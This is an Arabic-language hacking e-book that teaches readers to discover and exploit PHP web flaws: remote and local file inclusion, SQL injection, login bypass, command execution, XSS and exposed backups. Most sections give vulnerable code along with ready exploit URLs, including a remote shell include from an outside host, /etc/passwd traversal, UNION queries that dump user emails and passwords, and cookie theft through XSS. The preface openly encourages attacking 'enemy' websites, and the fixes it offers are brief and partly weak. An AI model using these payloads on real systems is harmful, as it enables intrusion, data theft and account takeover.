بسم الله الرحمن الرحيم

عالم الثغرات

اكتشاف و استغلال الثغرات 2012

(Adel SBM)

تأليف : Adel SBM

بسم الله الرحمن الرحيم

هذا العمل المتواضع مجاني ومتاح للجميع ,لذا أرجو استغلال كل معلومة
من هذا الكتاب في الخير ,أي عدم استهداف المواقع الشقيقة
والتركيز على العدو الواحد ..

اللــهــم إني قد بلغت.

الإهداء:

أهدي هذا العمل المتواضع الى اخواني: Bek4ever-ahmed.bak-THe Don

والى كل منساندني:

Indoushka – Over-X - Ayme NDz

الجزائر

2011/10/23

الفهرس:

) مقدمة
1) الأدوات التي نحتاجها
2) ثغرة Remote File Inclusion (استدعاء أو ادراج ملف بعيد):
2-1 -- مثال أساسي
2-2 -- مثال متقدم
2-3 -- كيفية الترقيع
3) ثغرة Local File Disclosure/Download (كشف/قراءة/تحميل ملف محلي):
3-1 -- مثال أساسي
3-2 -- مثال متقدم
3-3 -- كيفية الترقيع
4) ثغرة SQL Injection (حقن قواعد البيانات):
4-1 -- مثال أساسي
4-2 -- مثال متقدم
4-3 --SQL Injection Login Bypass (تجاوز تسجيل الدخول)
4-4 -- كيفية الترقيع
5) ثغرة Remote Command Execution (تنفيذ الأوامر):
5-1 -- مثال أساسي
5-2 -- مثال متقدم
5-3 -- كيفية الترقيع
6) ثغرة Cross-Site Scripting (حقن أكواد HTML أو JAVA SCRIPT):
6-1 -- مثال أساسي
6-2 -- كيفية الترقيع
7) ثغرة Download Backups+ INC files (تحميل و قراءة الملفات المهمة و قواعد البيانات)
7-1 -- شرح+أمثلة
7-2 -- كيفية الترقيع
8) أمثلة حول الثغرات (من مواقع الحماية):
) خاتمة

مقدمة:

كثيرا ما نسمع عن لغة البرمجة PHP و أنواع الثغرات المحتملة و التي تمكننا من اختراق الموقع المصاب.
وحين نفكر في هذا المجال حتما نصل إلى فكرة أن الثغرة مهما كان نوعها أو برمجتها.فان اكتشافها هو أمر صعب و بالغ التعقيد...

- في الكثير من المرات و أنا أتصفح مواقع الهكر أجد أن هناك الكثير من المختصين في هذا المجال للأسف يحتكرون المعلومات خاصة فيما يتعلق بثغرات ال PHP فغالبا يكتفون بشرح الاستغلال و يتجاهلون شرح طريقة الاكتشاف.

إذن من الآن فصاعدا لا تستنجد أو تطلب المساعدة من أحد لكي تكتشف و تستغل الثغرات.

لأنني في هذا الكتاب سأشرح كيفية اكتشاف الثغرة و استغلالها..
وسيكون الشرح مدعوما بأمثلة أساسية و أمثلة متقدمة نوعا ما .

1) الأدوات التي نحتاجها

المطلوب منا في هذه الخطوة الأولى هو تثبيت برنامج يدعم PHP و MySQL أي تثبيت ما يعرف بالسرفر المحلي (الخادم المحلي) LOCALHOST على جهزنا.
يمكنك تثبيت برنامج WAMP أو APPSERVE على سبيل المثال ، بعد التثبيت يجب اجراء بعض التعديلات البسيطة على الخادم المحلي وذلك بتعديل ملف التكوين php.ini لأن أغلب الاستغلالات تحتاج الى شروط لتطبيقها بالشكل الصحيح.

ابحث عن المعلومات التالية في ملف php.ini و عدلها بحيث تكون كما يلي :

safe_mode = off
register_globals = on
allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off
short_tag_open = on
display_errors = on
disabled_functions = N/A

بعد التعديل يجب اتباع الخطوات الاتية : أولا ، إنشاء قاعدة بيانات لاستخدامها من قبل مختلف برامج ال PHP أو ما يعرف بالسكربتات .
ثانيا ، ثبت سكربتات مختلفة و ابدء في دراسة مصدرها –أكوادها- وقم باختبارها بواسطة المتصفح.

روابط تحميل برنامج WAMP أو APPSERVE تجدها هنا: http://www.the-code.tk/code.php?id=96

- أنت الان تتسائل : كيف يمكنني دراسة هذه السكربتات؟ ...أنا لا أعرف شيئا حول الثغرات!!!
أقول لك لا تقلق هيا ننطلق الى عالم اكتشاف الثغرات و أكيد..استغلالها.

2) ثغرة Remote File Inclusion (استدعاء أو ادراج ملف بعيد):

دور هذه الثغرة واضح جدا بحيث أنها تمكنك من استدعاء ملفات خارجية والتي غالبا ما تكون شلات أو سكربتات اختراق بالنسبة للمهاجم.

- كما أنها تعتبر من اخطر الثغرات ولكنها حاليا نادرة وذلك لتفطن المبرمجين اليها.

في لغة ال PHP توجد ثلاث دوال يمكنها أن تترجم عملية استدعاء الملف و التي قد تحدث الثغرة وهي :

require – require()
require_once
include
include_once

1-2 -- مثال أساسي عن كود الثغرة:

-- لنفرض أن لدينا ملف test.php يحوي الكود التالي:

```
<?php
$pagina=$_GET['pagina'];
include $pagina;
?>
```

لنشرح الكود باختصار .الدالة include تستدعي المتغير $pagina و المتغير في لغة PHP دائما يكون مسبوقا برمز الدولار $ (عليك أولا أخي أن ترجع الى بعض أساسيات PHP)

- إذا قمنا برفع الملف و تصفحه بمتصفح الانترنت http://127.0.0.1/test.php

سنلاحظ وجود عدة أخطاء في الصفحة :

مثل هذا الخطأ (أنا أستعمل خادم WAMP):

Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2

-سبب الخطأ هو أن المتغير $pagina لا يزال مجهولا أو غير معرفا بالنسبة للدالة include.
والاستغلال يكون عندما نعطي المتغير قيمة نحددها نحن و التي تكون رابطا للشل أو سكربت الاختراق ويكون هذا بواسطة المتصفح وبهذا الشكل:

http://127.0.0.1/test.php?pagina=http://the-code.tk/evilscript.txt?

لا تنسى أن الشل الذي تم استدعاءه يجب أن يكون بصيغة ملف نصي TXT و أيضا من المهم وضع علامة الاستفهام في نهاية الرابط .

الكثيرون يتساءلون لماذا يجب وضع علامة الاستفهام ؟ أو 00 ٪ في نهاية رابط الاستغلال؟

-الاجابة ستكتشفها من خلال هذا المثال:

```
<?php
$pagina=$_GET['pagina'];
include $pagina.'.php';
?>
```

-- اذا استدعينا الشل (بدون وضع علامة الاستفهام) :

http://127.0.0.1/test.php?pagina=http://the-code.tk/evilscript.txt

لن ينجح لأن الاستدعاء سيشمل النص **http://the-code.tk/evilscript.txt.php**

لذلك سوف نضيف 00 ٪ أو علامة الاستفهام ؟ بعد رابط الاستغلال لكي يتم تجاهل الرموز و الاضافات التي تكون بعد المتغير المستدعى وبالتالي ستنجح عملية الربط او الادراج وسيظهر الشل.

2-2 -- مثال متقدم عن كود الثغرة:

الآن مثال من سكربت.

- مقتطف من الكود المصاب (ملف index.php):

```
if (isset($_REQUEST["main_content"])){
$main_content = $_REQUEST["main_content"];
} else if (isset($_SESSION["main_content"])){
$main_content = $_SESSION["main_content"];
}
.......................etc..................
ob_start();
require_once($main_content);
```

يمكننا أن نستدعي الشل بواسطة المتغير "main_content" و المهاجم عموما سيطلب أي قيمة يحددها للمتغير بفضل دالة الطلب REQUEST

والاستغلال سيكون كالاتي:

http://127.0.0.1/index.php?main_content=http://the-code.tk/evilscript.txt?

وبالتالي سيتم استدعاء الشل بنجاح.

ملاحظة: بعض النصوص لا تقبل "HTTP" يمكن أن نجرب استخدام "HTTPS" أو بروتوكول نقل الملفات"FTP"

3-2 – كيفية الترقيع:

طرق بسيطة : - لا تسمح باستخدام الرموز و العلامات مثل "/" في المتغيرات.
-ابحث عن الأخطاء و حاول أن تجعل كل المتغيرات معرفة.

3) ثغرة Local File Inclusion/Download (كشف/قراءة/تحميل ملف محلي):

بكل بساطة فانه من خلال هذه الثغرة يمكنك قراءة محتوى ملفات الموقع المستهدف ، و حتى تحميلها.

بعض الدوال التي تسمح لك بقراءة الملفات :

file_get_contents : **قراءة ملف كامل**
readfile :**قراءة ملف**
file : **قراءة ملف كامل مرة في مصفوفة**
fopen : **فتح ملف أو رابط**
highlight_file() - show_source : **عرض سورس/محتويات-كود الصفحة أو الملف**

1-3 -- مثال أساسي عن كود الثغرة:

-- لنفرض أن لدينا ملف test.php يحوى الكود التالي:

```
<?php
$pagina=$_GET['pagina'];
readfile($pagina);
?>
```

لنشرح الكود باختصار . ستحاول الدالة readfile قراءة محتوى الملف المحدد بالمتغير $pagina

وبالتالي في الاستغلال سنقوم بتحديد مسار الملف المراد قراءته و المخترق بطبيعة الحال سيحاول قراءة الملفات المهمة و التي تحتوي معلومات الاختراق مثل ملف config.php بالنسبة لمنتديات vBulletin :

الاستغلال سيكون بهذا الشكل:

http://127.0.0.1/test.php?pagina=../../../../../etc/passwd

وبالتالي سيتم طلب الملف للقراءة و ليس استدعاءه من الخارج..
و../../../../../etc/passwd **هي مسار الملف المراد قراءته ويتغير حسب مكونات السكربت .**

2-3 -- مثال متقدم عن كود الثغرة :

الآن مثال من سكربت والملف المصاب يسمى : download.php
- مقتطف من الكود المصاب:

```
$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");

header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));

//header( "Content-Description: File Transfer");
@readfile($file);
die();
```

المتغير $file يعبر عن الملف المطلوب وهو غير امن وتم طلبه بواسطة _REQUEST $. الذي يظهر في السطر الأول.
و عن طريق الدالة () readfile يمكننا أن نرى محتوى الملف.
و بالتالي الاستغلال يكون كالتالي :

http://127.0.0.1/download.php?file=../../../../../../etc/passwd

حتى نتمكن من قراءة الملف المطلوب بنجاح.

3-3 – كيفية الترقيع:

طرق بسيطة : - لا تسمح باستخدام الرموز و العلامات مثل "/" في المتغيرات.
-ابحث عن الأخطاء و حاول أن تجعل كل المتغيرات معرفة.

.

4) ثغرة SQL Injection (حقن قواعد البيانات):

ان ثغرة SQL Injection هي الأكثر انتشارا و تعتبر الأصعب من ناحية الاستغلال كما أنها الأشهر هذه الثغرة لوحدها تستحق كتابا لشرحها بدقة و التدقيق في استغلالاتها بداية من تحديد الجداول والأعمدة المصابة وصولا الى استخراج البيانات و من ثم المراحل المتقدمة و التي تمكنك من رفع الشل.

1-4 -- مثال أساسي عن كود الثغرة:

-- مقتطف من من ملف test.php

```
<?php
$id = $_GET['id'];
$result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
?>
```

كما نلاحظ فان المتغير $id غير مفلتر هذا يعني أننا يمكن أن نحقن أوامر SQL التي نريدها قد تتسائل مالذي أقصده بغير مفلتر؟

-غير مفلتر من الفلترة و هي أن الكود الذي نحقنه يمكن أن يكون أوامر SQL ورموز مختلفة وليس أرقاما فقط وهذه الرموز بدورها تمثل أوامر توجه لقاعدة البيانات.

- كيفية الكشف عن وجود الثغرة باختصار :
الأمر في غاية السهولة كل ماعليك هو اعطاء المتغير $id قيمة تتمثل في رمز ' أو عدة حروف و هذا ما يسبب خللا في قاعدة البيانات التي تستظهر لك الخطأ و الذي يمكن أن يكون بهذا الشكل:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'ORDER BY `date` DESC' at line 1

و رسالة الخطأ لها عدة صيغ أخرى.

-نعود الى كيفية الاستغلال ويكون كما يلي:

http://127.0.0.1/test.php?id=1+union+all+select+1,2,version(),4--

وهنا سنحصل على اصدار قاعدة البيانات (الاصابة في العمود رقم 3).

2-4 -- مثال متقدم عن كود الثغرة :

الآن مثال من سكربت والملف المصاب يسمى : listing_view.php
- مقتطف من الكود المصاب:

```
$id = $_GET['itemnr'];
require_once($home."mysqlinfo.php");
$query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle, image from Rentals
where id=$id";
$result = mysql_query($query);
if(mysql_num_rows($result)){
$r = mysql_fetch_array($result);
```

نلاحظ أنه سيتم تحدبد قيمة المتغير $id بواسطة الطلب itemnr والقيمة التي سنطلبها غير مفلترة . وبالتالي سنتمكن من حقن ال SQL بكل سهولة و ذلك كالأتي :

http://127.0.0.1/house/listing_view.php?itemnr=null+union+all+select+1,2,
3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--

وسنحصل على البريد الالكتروني وكلمة المرور من الجدول المستخدمين.

ملاحظة هامة: SQL Injection هي من أعقد الثغرات لذا لا يمكنني الان أن أشرحها بالتفصيل الممل و ان شاء الله سأصدر كتابا كاملا حول هذه الثغرة وسيشمل كل تفاصيل الاستغلال من تخطي الفلترة الى استخراج المعلومات وصولا الى رفع الشل.

3-4-- SQL Injection Login Bypass (تجاوز تسجيل الدخول):

هذه الثغرة تعتبر من أخف و أجمل الثغرات و ذلك لبساطتها لذلك صنفتها كجزء من ثغرة SQL Injection وهي تمكنك من الدخول الى لوحة الادارة مستعملا الرمز ' or ' 1=1

ركز على المثال:

مثال من سكربت والملف المصاب يسمى : login.php

- مقتطف من الكود المصاب:

```
$postbruger = $_POST['username'];
$postpass = md5($_POST['password']);
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = '$postbruger' AND
password = '$postpass'")
or die("<p>" . mysql_error() . "</p>\n");
```

يمكننا تجاوز لوحة الدخول بمجرد وضع المعلومات التالية :

اسم المستخدم : admin ' or ' 1=1
كلمة السر : jocker

أكيد أننا سنقول كيف سيسجل دخولنا ؟ وهل سنخدع SQL بهذه البساطة؟

الاجابة هي نعم لأننا لو لاحظنا الأمر الذي سيطبق من طرف ال SQL سنعرف السبب :

```
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1 AND password = ' jocker'")
```

- يجب أن تكون لديك فكرة عن طريقة التعامل مع قواعد البيانات لكي تتمكن من ترجمة الأمر الذي خدعنا به ال SQL وتمكنا من الدخول مع العلم أن اسم الدخول يجب أن يكون اسم الهدف.

4-4 – كيفية الترقيع :

- لا تسمح للحروف في المتغيرات و إجعلها فقط أرقاما باستخدام الامر هذا كمثال:

```
$id=(int)$_GET['id'];
```

-أو قم بمنع الحروف الخاصة والتي تحدث خللا لقاعدة البيانات :

- , . ( ) ' " _ + / *

5) ثغرة Remote Command Execution (تنفيذ الأوامر):

-هذه الثغرة تصنف حسب رأيي ثاني أخطر ثغرة بعد ثغرة Remote file Inclusion وهي تسمح لك بتنفيذ أوامر مباشرة على السيرفر .

-في لغة ال PHP توجد بعض الدوال التي تسمح لك بتطبيق الأوامر وهي :

exec
passthru
shell_exec
system

-- ملاحظة : إذا كان الاستغلال يتم عبر تطبيق الأوامر بدالة EXEC() فانه لا يمكنك مشاهدة نتيجة الأوامر (ولكن يتم تنفيذ الأوامر) اذ أنها لا تطبع.

1-5 -- مثال أساسي عن كود الثغرة:

-- مقتطف من ملف test.php

```
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
```

من خلال دراسة الثغرات السابقة عرفنا كيف يمكننا طلب قيمة للمتغير وهو في هذه الحالة $cmd

ومنه يمكننا أن نجعل الاستغلال يتم كالأتي :

http://127.0.0.1/test.php?cmd=id

وسيتم تنفيذ الأمر id (أمر عرض صلاحياتنا على السرفر) وسوف تظهر النتيجة.

وفي حالة التجريب على السرفر المحلي سيكون الأمر من أوامر نظام الويندوز كالأمر dir (استعراض ملفات المجلد الحالي).

2-5 -- مثال متقدم عن كود الثغرة :

مثال من سكربت والملف المصاب يسمى : dig.php

- مقتطف من الكود المصاب:

```
$ns = $_GET['ns'];
$query_type = $_GET['query_type']; // ANY, MX, A , etc.
$ip = $_SERVER['REMOTE_ADDR'];
$self = $_SERVER['PHP_SELF'];
........................ etc ........................
$host = strtolower($host);
echo("<span class=\"plainBlue\"><b>Executing : <u>dig $ns </u></b><br>");
echo '<pre>';
system ("$ns");
```

هنا يظهر أنه يمكن للمهاجم أن يوجه أي أمر يريده من خلال المتغير $ns

و الأمر سيوجه بالشكل الاتي :

http://127.0.0.1/dig.php?ns=ls -la

-اضافة هامة : لو صادفنا كود بهذا الشكل:

```
$dz = $_GET['ns'];
$alg = $_GET['alg']; .
........................ etc ........................
system ("dig @$dz $alg");
?>
```

في رأيك كيف سيكون الاستغلال؟

الاجابة: الاستغلال سيكون بهذا الشكل:

http://127.0.0.1/dig.php?dz=|| id ||&alg=ls -la

لأن الرمز || يستخدم لتطبيق عدة أوامر في وقت واحد.

6) ثغرة Cross-Site Scripting (حقن أكواد HTML أو JAVA SCRIPT):

كثيرا ما يتجاهل المبرمجون هذه الثغرة أو يتناسونها ولهذا فهي منتشرة جدا و يمكن أن تجدها في أكبر المواقع العالمية لكن فعاليتها تكمن في قدرة المهاجم على استغلالها بطريقة ذكية.

ومنه يمكننا أن نجعل الاستغلال يتم كالأتي :

1-6 -- مثال أساسي عن كود الثغرة:

-- مقتطف من من ملف test.php

- مقتطف من الكود المصاب:

```
<?php
$name=$_GET['name'];
print $name;
?>
```

لو ترجمنا الكود فانه يتم طلب قيمة للمتغير $name ومن ثم طباعته بواسطة الدالة print

- لنفكر جيدا في طريقة لاستغلال هذا الكود .... ما رأيك لو نحقن كود جافا سكربت بهذا الشكل:

http://127.0.0.1/test.php?name=<script>alert(document.cookie)</script>

النتيجة ستكون ظهور نافذة رسالة جافا تحوي كوكيز المستخدم و هو الكوكيز الخاص بنا في هذه الحالة.

- احد طرق الاختراق تتم عبر عملية تكوين رابط يحوي كود استخراج الكوكيز ثم تشفيره أو اختصاره وارساله الى الضحية . عند تصفح الضحية للرابط فان معلومات الكوكيز الخاصة به سترسل الى المهاجم و هذا الأخير يقوم بالدخول الى حساب الضحية مستغلا معلومات الكوكيز المسروقة.

6-2 – كيفية الترقيع :

طريقة الترقيع سهلة جدا حيث يمكننا استعمال دالة htmlentities() أو دالة htmlspecialchars()

هذه الدوال تقوم بمعاملة نصوص و وسوم HTML كنص عادي .

وبالتالي الكود المرقع سيكون بهذا الشكل:

```
php?>
;(['name=htmlentities($_GET['name$
;print $name
<?
```

7) ثغرة Download Backups + ثغرة INC files:

7-1 – شرح+أمثلة :

شخصيا أعتبرهما من الأخطاء الساذجة للمبرمجين بحيث:

ثغرة Download Backups : تسمح لك بتحميل النسخ الاحتياطية لقاعدة بيانات الموقع المستهدف.

مثال بسيط:

http://127.0.0.1/adminpanel/phpmydump.php

ثغرة INC files : وتسمح لك بقراءة بعض ملفات inc والتي تكون مكشوفة و من الممكن أن تحوى معلومات الموقع المستهدف.

مثال بسيط (قراءة ملف يحوي معلومات الاتصال بقاعدة البيانات):

http://127.0.0.1/inc/mysql.inc

7-2 – طريقة الترقيع :

Download Backups : التحقق من أن المدير هو الذي يريد تحميل النسخة الاحتياطية و الا التحويل الى صفحة خطأ – استخدام جدار ناري لحماية النسخ الاحتياطية.

INC files : حماية الملفات باستخدام htaccess. والأفضل هو حفظ المعلومات في ملفات بصيغة PHP.

8) أمثلة حول الثغرات (من مواقع الحماية):

1) ثغرة Remote File Inclusion

http://www.1337day.com/exploits/14932

2) ثغرة Local File Disclosure/Download

http://www.1337day.com/exploits/17087

3) ثغرة SQL Injection

http://www.1337day.com/exploits/17021
http://www.1337day.com/exploits/14836
http://www.1337day.com/exploits/14828

4) ثغرة Remote Command Execution

http://www.1337day.com/exploits/1503

5) ثغرة Cross-Site Scripting

http://www.1337day.com/exploits/17073

خاتمة:

من المعروف أنه توجد عدة أنواع من الثغرات تختلف من حيث الخطورة و كيفية الاستغلال ولكن كل هذا يعتمد على قدرة المهاجم و ذكائه ,أخي لقد حاولت أن أقربك أكثر الى عالم الثغرات و من المؤكد أنه كلما اجتهدت أكثر كلما وصلت الى مرحلة متقدمة من الاحتراف...و اعذروني ان وردت مني أخطاء على المستوى النحوي أو الاملائي أو على مستوى الشرح فالكمال لله عز وجل...

لتعليقاتكم واقتراحاتكم واستفساراتكم حول الكتاب أرجو مراسلتي عبر البريد الالكتروني:

Madrido.Jocker@gmail.com

أو يرجى زيارة الموقع :

http://www.the-code.tk

أو التواصل عبر SKYPE :

Adel´SBM

أرجو الدعاء لي ولوالدي

2011/10/23

تم بحمد الله